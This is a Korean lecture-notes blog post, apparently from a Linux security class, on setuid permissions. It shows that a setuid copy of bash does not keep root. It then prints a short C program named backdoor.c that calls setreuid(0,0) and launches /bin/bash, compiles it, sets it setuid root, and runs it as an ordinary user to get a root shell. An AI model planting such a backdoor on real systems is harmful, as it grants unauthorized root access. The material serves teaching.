  • 삭제

 

# exit

#

 

# /test/bash

# ps

  • 0열 선택0열 다음에 열 추가
  • 0행 선택0행 다음에 행 추가

셀 전체 선택

열 너비 조절

행 높이 조절

PID TTY TIME CMD

4620 pts/1 00:00:00 bash

4829 pts/1 00:00:00 bash

  • 셀 병합
  • 행 분할
  • 열 분할
  • 너비 맞춤
  • 삭제

 

# exit

#

 

# ls -l /test/bash

-rwxr-xr-x 1 root root

# chmod 4755 /test/bash

# ls -l /test/bash

-rwsr-xr-x 1 root root

이래봤자 소용이 없다. 셋uid를 걸어봤자 소용이 없다고!

 

 

$ telnet localhost

user01 사용자로 로그인

$ /test/bash

$ id

-> user01

 

$ ps

-> user01 사용자로 실행된 쉘 (관리자 권한으로 실행한게 아닌 지가 실행한 것)

$ ps -l

$ pstree –alup PPID 번호

 

$ exit

$ exit

 

# cd /test

# vi backdoor.c

#include<stdlib.h>

#include<sys/types.h>

#include<unistd.h>

 

main()

{

setreuid(0,0); /& real uid effective uid 둘다 바꿔라!*/

system("/bin/bash");

}

 

 

[참고] gcc 패키지 설치

# yum list | grep gcc

# yum -y install gcc

 

# gcc -o backdoor backdoor.c

# chmod 4755 backdoor

# ls -l backdoor

 

# telnet localhost

user01 사용자로 로그인

 

$ /test/backdoor

# id

-> root 사용자

# ps

-> 실행된 쉘

-> user01가 관리자 권한으로 실행된 쉘

$ ps -l

$ pstree –alup PPID 번호

# exit

$ exit

#

 

 

* dig 명령어

 

 

 

 

 

 

[출처]

솔데스크 백승찬 강사님

 

728x90

+ Recent posts